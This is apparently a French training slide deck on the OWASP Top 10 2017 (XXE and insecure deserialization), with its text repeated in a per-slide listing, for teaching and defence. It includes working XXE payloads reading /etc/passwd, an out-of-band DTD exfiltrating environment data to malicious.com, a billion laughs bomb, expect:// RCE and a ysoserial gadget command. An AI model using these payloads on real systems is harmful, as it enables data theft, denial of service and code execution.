Nouveau Top 10 2017
Controverse 2017 - RC1
2017
A4 XML EXTERNAL ENTITY (XXE)
A4 XML External Entity (XXE)
• Attaque contre les parseurs XML
• Prérequis:
– Consommation de XML non fiable
• Upload de fichier XML, fichier de configuration, etc.
• SAML Token pour authentification SSO
– Document Type Definition (DTD)
– SOAP implémentions <1.2
• Conséquences
– Dénie de service
– Fuite de données
– SSRF
– Tunnel/Port scan
– Contrôle de l’exécution
Qu’est-ce que le DTD?
• «Une DTD décrit la grammaire du document — liste des
éléments (ou balises), des attributs, leur contenu et leur
agencement — ainsi que le vocabulaire supplémentaire sous
la forme d'une liste d'Entité de caractère. »
• Les DTD ont deux sortes de déclaration:
– Externe
• Public
• System
– Interne
https://en.wikipedia.org/wiki/Document_type_definition
Qu’est-ce que le DTD?
<!DOCTYPE sgml [
<!ELEMENT sgml ANY>
<!ENTITY % std "standard SGML">
<!ENTITY % signature " &#x2014; &author;.">
<!ENTITY % question "Why couldn&#x2019;t I publish my books directly in %std;?">
<!ENTITY % author "William Shakespeare">
]>
<sgml>&question;&signature;</sgml>
------------------------------------------------------------------------
<sgml>Why couldn’t I publish my books directly in standard SGML? — William
Shakespeare.</sgml>
https://en.wikipedia.org/wiki/Document_type_definition
Qu’est-ce qu’on peut faire de malicieux
avec le DTD selon vous?
A4 XML External Entity (XXE)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
**Fonctionne seulement si on a une réflexion
A4 XML External Entity (XXE)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
root:x:0:0:root:/root:/bin/bash
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
A4 XML External Entity (XXE)
Billion Laughs Attack (aka LOL Bomb)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
A4 XML External Entity (XXE)
Reconnaissance quand on n’a pas de réflexion
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
A4 XML External Entity (XXE)
Autre exemple de dénie de service:
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
A4 XML External Entity (XXE)
gopher://{host}:{port}/{type}{request}
<?xml version="1.0 encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY date SYSTEM
“gopher://172.16.0.1:3300/AAAAAAAAA" >]>
<foo>&date;</foo>
A4 XML External Entity (XXE)
https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf
A4 XML External Entity (XXE)
https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf
A4 XML External Entity (XXE)
• Attaque avec exfiltration: Out of Band (OOB) XXE
Requête:
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://malicious.com:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
Serveur externe:
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://malicious.com:2121/%d;'>">
A4 XML External Entity (XXE)
• Remote Control Execution (RCE)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
“This extension allows to interact with processes through PTY”
http://de2.php.net/manual/en/intro.expect.php
A4 Exemple intéressant
• Exemple d’un cas réel:
https://securityboulevard.com/2017/12/flaws
-development-tools-expose-android-app-
makers-attacks/
– Malformed manifest
A4 Défense
• https://www.owasp.org/index.php/XML_Exter
nal_Entity_(XXE)_Prevention_Cheat_Sheet
• Ne pas utiliser de DTD et d’Entity, etc.
• Bien connaitre sont parseur XML et utiliser
des options sécuritaires
XML Parser Safe by Default?
LINQ to XML Yes
XmlDictionaryReader Yes
XmlDocument
...prior to 4.5.2 No
...in versions 4.5.2 + Yes
XmlNodeReader Yes
XmlReader Yes
XmlTextReader
...prior to 4.5.2 No
...in versions 4.5.2 + Yes
XPathNavigator
...prior to 4.5.2 No
...in versions 4.5.2 + Yes
XslCompiledTransform Yes
A4 Défense .Net
A4.1 Exercices
• Objectifs:
1. Déni de service en consommant toute la mémoire serveur
2. Voir des informations sensibles sur le serveur
3. Server Side Request Forgery (SSRF)
• E.g. Forcer le serveur web à appeler un server NetCat
– Consommer des données venant d’un autre serveur
Problème DUO SAML
• Pas un XXE mais intéressant
• https://duo.com/blog/duo-finds-saml-
vulnerabilities-affecting-multiple-
implementations
<Subject>
<NameID>user@user.com<!---->.evil.com</NameID>
</Subject>
A8 INSECURE DESERIALIZATION
A8 Insecure Deserialization
• Vulnérabilité du Top10 qui est la plus excitante
• Plusieurs types de problèmes
• Java-pocalypse en 2015-2017
– 70 librairies importantes affectées: https://www.sourceclear.com/blog/Commons-
Collections-Deserialization-Vulnerability-Research-Findings/
– Exemple: Equifax
– Oracle WebSphere, Java Struts, Cisco, Jenkins, Adobe,
Android, PayPal
• 2018 va être la même chose mais pour .Net
– Pas juste pour XML, mais pour JSON aussi
– https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-
wp.pdf#page=5
A8 Insecure Deserialization
• Note du Top10: ”off the shelf exploits rarely work
without changes or tweaks to the underlying
exploit code”
• Exploitable si l’application désérialise des objets
venant d’une source non fiable.
• Deux types définis dans le Top10:
1. Object and data structure related attacks where the attacker modifies
application logic or achieves arbitrary remote code execution if there are
classes available to the application that can change behavior during or after
deserialization.
2. Typical data tampering attacks, such as access-control-related attacks, where
existing data structures are used but the content is changed.
A8 Insecure Deserialization
• Example du Top10 (Type 2):
– Scenario #2: A PHP forum uses PHP object serialization to save a
"super" cookie, containing the user's user ID, role, password hash, and
other state:
• a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";i:3;s:32:"b6a8b3bea87fe0e050
22f8f3c88bc960";}
– An attacker changes the serialized object to give themselves admin
privileges:
• a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";i:3;s:32:"b6a8b3bea87fe0e050
22f8f3c88bc960";}
A8 Insecure Deserialization
• On va parler de Type #1 pour .Net.
– Même concept que le type #1 pour Java mais avec
des gadgets un peu différent
– L’outil privilégié est le même: Ysoserial
• Connue depuis 2012 mais aucun Gadget avec RCE
– Voir BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
• Depuis 2017, plusieurs RCE gadgets trouvé
A8 Insecure Deserialization
• Qu’est-ce qui est affecté en .Net ?
https://speakerdeck.com/pwntester/attacking-net-serialization
A8 Insecure Deserialization
• https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEFCON-25-Alvaro-Munoz-JSON-attacks.pdf
A8 Insecure Deserialization
• Comment ça marche?
– Le désérialiseur appel, durant le processus de
reconstruction d’un objet, un callback, un setter, un
constructeur(qui n’est pas par défaut), un « toString »
ou autres fonctions qui peuvent être définies dans
l’objet désérialisé ou contrôlées par l’attaqueur.
– L’attaqueur doit trouver une chaine de « gadgets »
entre cet appel initial et une fonction qui donne le
plein contrôle sur l’exécution du programme
A8 Insecure Deserialization
• Prérequis:
– Un objet venant d’une source malicieuse est désérialisé
– Il y a une validation insuffisante du type de l’objet
OU
– Le type de l’objet n’est pas sécuritaire
OU
– La validation du type est faite après la construction de
l'objet
• Souvent un cast est fait après que l’objet est construit
– Il y a une chaine de gadgets disponible
A8 Insecure Deserialization
• Qu’est-ce qu’un « gadget »
– Fonction accessible (framework) qui permet de capturer
l’exécution
– Exemples .Net:
• System.Configuration.Install.AssemblyInstaller -> set_Path
– • Execute payload on local assembly load
• • System.Activities.Presentation.WorkflowDesigner -> set_PropertyInspectorFontAndColorData
– • Arbitrary XAML load
– • Requires Single Threaded Apartment (STA) thread
• • System.Windows.ResourceDictionary -> set_Source
– • Arbitrary XAML load
– • Required to be able to work with setters of types derived from IDictionary
• • System.Windows.Data.ObjectDataProvider -> set_(MethodName| ObjectInstance| ObjectType)
– • Arbitrary Method Invocation
A8.1 Demo Ysoserial (.Net)
• Jeu de mot avec la citation du Joker dans Batman
• Objectifs:
1. Comprendre le code de sérialisation et désérialisation
reçu pour le BinaryFormatter
2. Utiliser Ysoserial pour créer un fichier serialized.dat
qui va prendre le contrôle de l’exécution et lancer
« calc »
A8.1 Ysoserial (.Net)
• Solution:
– Ysoserial
– SortedSet + Type confused delegate
ysoserial.exe -o=raw -g=TypeConfuseDelegate -f=BinaryFormatter -c=calc
• Noter que l’exception arrive après calc
A8.1 Ysoserial (.Net)
• Analyse du code
A8 Défense
• Ne pas désérialiser des objets non fiable
• Quand vous devez désérialiser des objets non
fiable utilisez une librairie sécuritaire
– Assurez vous de bien connaitre votre librairie et ses
options
• Utilisez un “whitelist” d’objets que vous vous
attendez à recevoir
– Assurez-vous de faire la validation AVANT de créer
l’objet (exemple SAML token)
Conclusions
• Nouveau Top 10 2017 est très bien bâti
• Tous les développeurs devraient connaitre ces
10 éléments par cœur
• On va surement revenir plus tard cette année
pour A10
Questions?

What's new owasp top10 2017

  • 1.
  • 2.
  • 3.
  • 4.
    A4 XML EXTERNALENTITY (XXE)
  • 5.
    A4 XML ExternalEntity (XXE) • Attaque contre les parseurs XML • Prérequis: – Consommation de XML non fiable • Upload de fichier XML, fichier de configuration, etc. • SAML Token pour authentification SSO – Document Type Definition (DTD) – SOAP implémentions <1.2 • Conséquences – Dénie de service – Fuite de données – SSRF – Tunnel/Port scan – Contrôle de l’exécution
  • 6.
    Qu’est-ce que leDTD? • «Une DTD décrit la grammaire du document — liste des éléments (ou balises), des attributs, leur contenu et leur agencement — ainsi que le vocabulaire supplémentaire sous la forme d'une liste d'Entité de caractère. » • Les DTD ont deux sortes de déclaration: – Externe • Public • System – Interne https://en.wikipedia.org/wiki/Document_type_definition
  • 7.
    Qu’est-ce que leDTD? <!DOCTYPE sgml [ <!ELEMENT sgml ANY> <!ENTITY % std "standard SGML"> <!ENTITY % signature " &#x2014; &author;."> <!ENTITY % question "Why couldn&#x2019;t I publish my books directly in %std;?"> <!ENTITY % author "William Shakespeare"> ]> <sgml>&question;&signature;</sgml> ------------------------------------------------------------------------ <sgml>Why couldn’t I publish my books directly in standard SGML? — William Shakespeare.</sgml> https://en.wikipedia.org/wiki/Document_type_definition
  • 8.
    Qu’est-ce qu’on peutfaire de malicieux avec le DTD selon vous?
  • 9.
    A4 XML ExternalEntity (XXE) <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo> **Fonctionne seulement si on a une réflexion
  • 10.
    A4 XML ExternalEntity (XXE) <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo> root:x:0:0:root:/root:/bin/bash bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  • 11.
    A4 XML ExternalEntity (XXE) Billion Laughs Attack (aka LOL Bomb) <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
  • 12.
    A4 XML ExternalEntity (XXE) Reconnaissance quand on n’a pas de réflexion <!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
  • 13.
    A4 XML ExternalEntity (XXE) Autre exemple de dénie de service: <!ENTITY xxe SYSTEM "file:///dev/random" >]>
  • 14.
    A4 XML ExternalEntity (XXE) gopher://{host}:{port}/{type}{request} <?xml version="1.0 encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY date SYSTEM “gopher://172.16.0.1:3300/AAAAAAAAA" >]> <foo>&date;</foo>
  • 15.
    A4 XML ExternalEntity (XXE) https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf
  • 16.
    A4 XML ExternalEntity (XXE) https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf
  • 17.
    A4 XML ExternalEntity (XXE) • Attaque avec exfiltration: Out of Band (OOB) XXE Requête: <?xml version="1.0" ?> <!DOCTYPE a [ <!ENTITY % asd SYSTEM "http://malicious.com:4444/ext.dtd"> %asd; %c; ]> <a>&rrr;</a> Serveur externe: <!ENTITY % d SYSTEM "file:///proc/self/environ"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://malicious.com:2121/%d;'>">
  • 18.
    A4 XML ExternalEntity (XXE) • Remote Control Execution (RCE) <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds> “This extension allows to interact with processes through PTY” http://de2.php.net/manual/en/intro.expect.php
  • 19.
    A4 Exemple intéressant •Exemple d’un cas réel: https://securityboulevard.com/2017/12/flaws -development-tools-expose-android-app- makers-attacks/ – Malformed manifest
  • 20.
    A4 Défense • https://www.owasp.org/index.php/XML_Exter nal_Entity_(XXE)_Prevention_Cheat_Sheet •Ne pas utiliser de DTD et d’Entity, etc. • Bien connaitre sont parseur XML et utiliser des options sécuritaires
  • 21.
    XML Parser Safeby Default? LINQ to XML Yes XmlDictionaryReader Yes XmlDocument ...prior to 4.5.2 No ...in versions 4.5.2 + Yes XmlNodeReader Yes XmlReader Yes XmlTextReader ...prior to 4.5.2 No ...in versions 4.5.2 + Yes XPathNavigator ...prior to 4.5.2 No ...in versions 4.5.2 + Yes XslCompiledTransform Yes A4 Défense .Net
  • 22.
    A4.1 Exercices • Objectifs: 1.Déni de service en consommant toute la mémoire serveur 2. Voir des informations sensibles sur le serveur 3. Server Side Request Forgery (SSRF) • E.g. Forcer le serveur web à appeler un server NetCat – Consommer des données venant d’un autre serveur
  • 23.
    Problème DUO SAML •Pas un XXE mais intéressant • https://duo.com/blog/duo-finds-saml- vulnerabilities-affecting-multiple- implementations <Subject> <NameID>user@user.com<!---->.evil.com</NameID> </Subject>
  • 24.
  • 25.
    A8 Insecure Deserialization •Vulnérabilité du Top10 qui est la plus excitante • Plusieurs types de problèmes • Java-pocalypse en 2015-2017 – 70 librairies importantes affectées: https://www.sourceclear.com/blog/Commons- Collections-Deserialization-Vulnerability-Research-Findings/ – Exemple: Equifax – Oracle WebSphere, Java Struts, Cisco, Jenkins, Adobe, Android, PayPal • 2018 va être la même chose mais pour .Net – Pas juste pour XML, mais pour JSON aussi – https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks- wp.pdf#page=5
  • 26.
    A8 Insecure Deserialization •Note du Top10: ”off the shelf exploits rarely work without changes or tweaks to the underlying exploit code” • Exploitable si l’application désérialise des objets venant d’une source non fiable. • Deux types définis dans le Top10: 1. Object and data structure related attacks where the attacker modifies application logic or achieves arbitrary remote code execution if there are classes available to the application that can change behavior during or after deserialization. 2. Typical data tampering attacks, such as access-control-related attacks, where existing data structures are used but the content is changed.
  • 27.
    A8 Insecure Deserialization •Example du Top10 (Type 2): – Scenario #2: A PHP forum uses PHP object serialization to save a "super" cookie, containing the user's user ID, role, password hash, and other state: • a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";i:3;s:32:"b6a8b3bea87fe0e050 22f8f3c88bc960";} – An attacker changes the serialized object to give themselves admin privileges: • a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";i:3;s:32:"b6a8b3bea87fe0e050 22f8f3c88bc960";}
  • 28.
    A8 Insecure Deserialization •On va parler de Type #1 pour .Net. – Même concept que le type #1 pour Java mais avec des gadgets un peu différent – L’outil privilégié est le même: Ysoserial • Connue depuis 2012 mais aucun Gadget avec RCE – Voir BH_US_12_Forshaw_Are_You_My_Type_WP.pdf • Depuis 2017, plusieurs RCE gadgets trouvé
  • 29.
    A8 Insecure Deserialization •Qu’est-ce qui est affecté en .Net ? https://speakerdeck.com/pwntester/attacking-net-serialization
  • 30.
    A8 Insecure Deserialization •https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEFCON-25-Alvaro-Munoz-JSON-attacks.pdf
  • 31.
    A8 Insecure Deserialization •Comment ça marche? – Le désérialiseur appel, durant le processus de reconstruction d’un objet, un callback, un setter, un constructeur(qui n’est pas par défaut), un « toString » ou autres fonctions qui peuvent être définies dans l’objet désérialisé ou contrôlées par l’attaqueur. – L’attaqueur doit trouver une chaine de « gadgets » entre cet appel initial et une fonction qui donne le plein contrôle sur l’exécution du programme
  • 32.
    A8 Insecure Deserialization •Prérequis: – Un objet venant d’une source malicieuse est désérialisé – Il y a une validation insuffisante du type de l’objet OU – Le type de l’objet n’est pas sécuritaire OU – La validation du type est faite après la construction de l'objet • Souvent un cast est fait après que l’objet est construit – Il y a une chaine de gadgets disponible
  • 33.
    A8 Insecure Deserialization •Qu’est-ce qu’un « gadget » – Fonction accessible (framework) qui permet de capturer l’exécution – Exemples .Net: • System.Configuration.Install.AssemblyInstaller -> set_Path – • Execute payload on local assembly load • • System.Activities.Presentation.WorkflowDesigner -> set_PropertyInspectorFontAndColorData – • Arbitrary XAML load – • Requires Single Threaded Apartment (STA) thread • • System.Windows.ResourceDictionary -> set_Source – • Arbitrary XAML load – • Required to be able to work with setters of types derived from IDictionary • • System.Windows.Data.ObjectDataProvider -> set_(MethodName| ObjectInstance| ObjectType) – • Arbitrary Method Invocation
  • 34.
    A8.1 Demo Ysoserial(.Net) • Jeu de mot avec la citation du Joker dans Batman • Objectifs: 1. Comprendre le code de sérialisation et désérialisation reçu pour le BinaryFormatter 2. Utiliser Ysoserial pour créer un fichier serialized.dat qui va prendre le contrôle de l’exécution et lancer « calc »
  • 35.
    A8.1 Ysoserial (.Net) •Solution: – Ysoserial – SortedSet + Type confused delegate ysoserial.exe -o=raw -g=TypeConfuseDelegate -f=BinaryFormatter -c=calc • Noter que l’exception arrive après calc
  • 36.
  • 37.
    A8 Défense • Nepas désérialiser des objets non fiable • Quand vous devez désérialiser des objets non fiable utilisez une librairie sécuritaire – Assurez vous de bien connaitre votre librairie et ses options • Utilisez un “whitelist” d’objets que vous vous attendez à recevoir – Assurez-vous de faire la validation AVANT de créer l’objet (exemple SAML token)
  • 38.
    Conclusions • Nouveau Top10 2017 est très bien bâti • Tous les développeurs devraient connaitre ces 10 éléments par cœur • On va surement revenir plus tard cette année pour A10
  • 39.